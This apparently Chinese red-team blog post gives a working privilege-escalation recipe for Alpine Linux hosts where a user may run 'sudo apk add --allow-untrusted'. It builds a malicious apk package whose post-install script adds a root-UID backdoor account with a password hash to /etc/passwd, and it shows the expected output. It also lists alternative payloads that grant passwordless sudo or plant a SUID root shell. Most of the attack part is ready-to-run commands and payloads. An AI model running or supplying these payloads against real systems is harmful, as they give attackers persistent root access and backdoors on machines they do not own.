// 红队渗透 · 2026-02-26

sudo apk 提权:利用自制恶意 apk 包执行 post-install 脚本

apk 包本质上是一个 tar.gz 压缩包,内含元数据(.PKGINFO)和控制脚本(.pre-install / .post-install 等)。
Alpine Linux 的包管理器 apk 在安装未签名包时,若加上 --allow-untrusted,会在 root 权限 下执行 post-install 脚本。攻击者可利用此特性制作恶意 apk 包,实现本地提权。

注意:此方法在 apk-tools 2.x 系列有效。apk-tools 3.x 将强制要求 datahash,简单无 data 部分的包会被拒绝。


复现步骤

1. 准备目录

mkdir -p /tmp/evil-pkg/pkg
cd /tmp/evil-pkg

2. 创建元数据文件 .PKGINFO

cat > pkg/.PKGINFO << 'EOF'
pkgname = evil-pwn
pkgver = 1.0.0
pkgdesc = Test package for privilege escalation demo
url = http://example.com
builddate = 1735680000
packager = root <root@localhost>
size = 4096
arch = x86_64
EOF

3. 创建 post-install 脚本

cat > pkg/.post-install << 'EOF'
#!/bin/sh
set -e

echo 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/bash' >> /etc/passwd
echo " [!] Exploit payload executed successfully!"
EOF

chmod +x pkg/.post-install

4. 打包成 apk

cd pkg
tar -czf ../evil-pwn.apk .PKGINFO .post-install
cd ..

5. 安装并触发提权

sudo apk add --allow-untrusted ./evil-pwn.apk

预期输出示例:

WARNING: Support for packages without datahash will be dropped in apk-tools 3.
(1/1) Installing evil-pwn (1.0.0)
WARNING: Support for packages without datahash will be dropped in apk-tools 3.
Executing evil-pwn-1.0.0.post-install
 [!] Exploit payload executed successfully!

6. 验证提权成功

tail /etc/passwd
# 应该有我们添加的后门用户

其他常见 payload 示例(替换 .post-install 内容)

  • 添加免密 sudo:

    echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/$(whoami)
    chmod 0440 /etc/sudoers.d/$(whoami)
  • 创建 SUID bash:

    cp /bin/sh /usr/local/bin/pwnsh
    chown root:root /usr/local/bin/pwnsh
    chmod u+s /usr/local/bin/pwnsh

原文 https://blog.csdn.net/2301_79518550/article/details/158431683